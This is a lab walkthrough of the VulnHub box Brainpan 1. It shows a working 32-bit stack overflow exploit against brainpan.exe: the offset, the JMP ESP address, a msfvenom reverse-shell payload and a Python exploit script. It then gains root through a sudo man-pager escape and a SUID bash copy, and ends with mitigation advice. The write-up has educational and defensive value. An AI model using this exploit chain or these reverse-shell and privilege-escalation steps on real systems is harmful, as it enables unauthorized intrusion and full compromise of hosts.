The box that earns its reputation as a first binary-exploitation target. A custom Windows service hands out its own executable over HTTP; instead of blind-fuzzing it, the whole exploit is built statically — the overflow offset read straight out of the disassembly, the jump address found with no ASLR to fight. The foothold is a stack smash; the privesc is a man pager escape through a careless sudo rule. No debugger used, start to finish.
Brainpan 1 is a two-stage box: a classic 32-bit stack buffer overflow in a bespoke network service for the foothold, then a Linux local privesc. The twist is that the vulnerable binary is a Windows PE running under Wine — so the foothold is a Windows-style overflow, but the shell lands on a Linux host. The full path from outside to root:
! escape → root| Credential / flag | Value | Where |
|---|---|---|
| foothold | uid=1002(puck) | brainpan.exe stack overflow on :9999 |
| privesc | euid=0(root) | sudo anansi_util man-pager escape |
| b.txt | root shell (euid=0) | /root/b.txt (as root) |
nmap -sS -p- --min-rate 1000 192.168.56.132
# 9999/tcp open abyss ← non-standard, custom service
# 10000/tcp open snet-sensor-mgmt ← usually a web server here
No SSH, no port 80. Version detection on both is the tell — port 9999 is a hand-rolled service that wants a password, and 10000 is a plain Python file server:
nmap -sV -sC -p9999,10000 192.168.56.132
# 9999 abyss? [________ WELCOME TO BRAINPAN _________] ENTER THE PASSWORD >>
# 10000 http SimpleHTTPServer 0.6 (Python 2.7.3)
The web root is just an infographic with an index.html, so there's no directory listing to read directly. Content discovery finds a hidden directory:
feroxbuster -u http://192.168.56.132:10000/ -w /usr/share/wordlists/dirb/common.txt
# 301 http://192.168.56.132:10000/bin → /bin/
curl -s http://192.168.56.132:10000/bin/
# Directory listing for /bin/ → brainpan.exe
There it is. Pull it down and fingerprint it:
wget http://192.168.56.132:10000/bin/brainpan.exe
file brainpan.exe
# PE32 executable for MS Windows (console), Intel i386 (stripped), 5 sections
First, the protections. For a PE these live in the header's DLL characteristics — rabin2 reads them straight out:
rabin2 -I brainpan.exe
# nx false ← stack is executable: shellcode-on-stack works
# pic false ← no ASLR: addresses are static every run
# bits 32 · arch x86 · os windows
No DEP and no ASLR means the simplest possible exploit: jump to shellcode sitting on the stack, using a hardcoded address. Now the offset. The import table shows strcpy — an unbounded copy — and two custom functions, get_reply and winkwink. Disassembling get_reply gives the whole bug in a few instructions:
r2 -A brainpan.exe → pdf @ sym._get_reply
# sub esp, 0x218 ; 536 bytes of locals
# lea eax, [ebp-0x208] ; dest buffer, 0x208 below saved EBP
# mov [esp], eax
# call strcpy ; strcpy(dest, input) — no bounds check
# leave ; ret ; no stack canary check
The destination buffer starts 0x208 (520) bytes below the saved frame pointer. Saved EBP is the next 4 bytes; the saved return address — the thing we overwrite to hijack execution — sits immediately after it:
# offset to saved EIP = 0x208 (520) + 4 (saved EBP) = 524
So EIP is controlled at offset 524, and shellcode goes at 528+. The leave; ret with no cookie check confirms there's no stack canary to defeat. Last piece — a way to reach the stack. With ASLR off, a single JMP ESP inside the binary is a permanent, reliable trampoline:
ropper -f brainpan.exe -j esp
# 0x311712f3: jmp esp ← only one, lives in .text (-r-x), executable
# bytes f3 12 17 31 → no 0x00 / 0x0a / 0x0d, safe to use
0x311712f3 both come straight from the binary — no pattern-create / pattern-offset crash loop, no debugger attached to the live service. Static analysis makes the first attempt the working attempt.Shellcode is a Windows reverse shell (the service is a PE under Wine, so Windows shellcode is what executes), encoded to strip the overflow-killing bytes — strcpy stops at a null, so \x00 is mandatory to avoid, with \x0a\x0d excluded for good measure:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.117 LPORT=4444 \
EXITFUNC=thread -b '\x00\x0a\x0d' -f python
The payload layout follows directly from Phase 03 — padding to EIP, the trampoline, a short NOP sled for the encoder's decoder stub to breathe, then shellcode:
# exploit.py (core)
import socket, struct
jmp_esp = struct.pack("<I", 0x311712f3) # f3 12 17 31
buf = b"A"*524 + jmp_esp + b"\x90"*16 + shellcode
s = socket.socket(); s.connect(("192.168.56.132", 9999))
s.recv(4096) # drain the WELCOME / password banner
s.send(buf + b"\n")
Start the handler first, then fire. The return into jmp esp lands execution directly on the shellcode waiting on the stack:
msfconsole -q -x "use multi/handler; set payload windows/shell_reverse_tcp; \
set LHOST 192.168.56.117; set LPORT 4444; run"
python3 exploit.py
# [*] Command shell session 1 opened (192.168.56.117:4444 -> 192.168.56.132)
# Z:\home\puck> ← a cmd.exe prompt… on a Linux box
cmd.exe because the payload executed inside brainpan.exe under Wine. But Z:\ is Wine's mapping of the Linux root /, and Linux binaries run fine from here — /bin/sh -c id returns uid=1002(puck). The real target underneath is Linux, and that's where the privesc happens.Upgrade to a proper Linux TTY, then check puck's sudo rights:
python -c 'import pty; pty.spawn("/bin/bash")'
sudo -l
# User puck may run the following commands on this host:
# (root) NOPASSWD: /home/anansi/bin/anansi_util
One root-run helper, no password. It has three actions — network, proclist, and manual [command]. The manual action runs man as root, and man opens its output in a pager (less/more) you can shell out of:
sudo /home/anansi/bin/anansi_util manual ls
# ls(1) man page opens in the pager, running as root
# at the pager prompt, type:
!/bin/bash
# id → uid=1002(puck) euid=0(root)
The !command pager escape runs a shell command through $SHELL, inheriting the pager's root context. Grab the proof:
cat /root/b.txt
# [ ascii-art BRAINPAN banner — http://www.techorganic.com ]
man only spawns a pager when it detects a TTY; over a bare reverse shell it just dumps the page. If you can't get an interactive pager, feed the escape through a scripted PTY — or set a custom pager pointed at a script that copies bash SUID root (cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash), then /tmp/rootbash -p. Same root, no live keystrokes needed.sudo running an interactive program — a pager, editor, or anything that shells out — as root is a direct escalation. The pager inherits root and will execute whatever the ! escape hands it. It's a textbook GTFOBins pattern, and the single NOPASSWD rule is the entire opening.brainpan.exe for download hands an attacker everything needed to build a reliable exploit offline. Keep service binaries off any public path./GS, /DYNAMICBASE, and /NXCOMPAT (or their toolchain equivalents).strcpy into a fixed stack buffer. Use length-limited copies (strncpy/snprintf) and validate input size before copying.man, and interpreters are all escape vectors. If a helper must run as root, drop privileges before invoking anything interactive.! escape → rootLab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.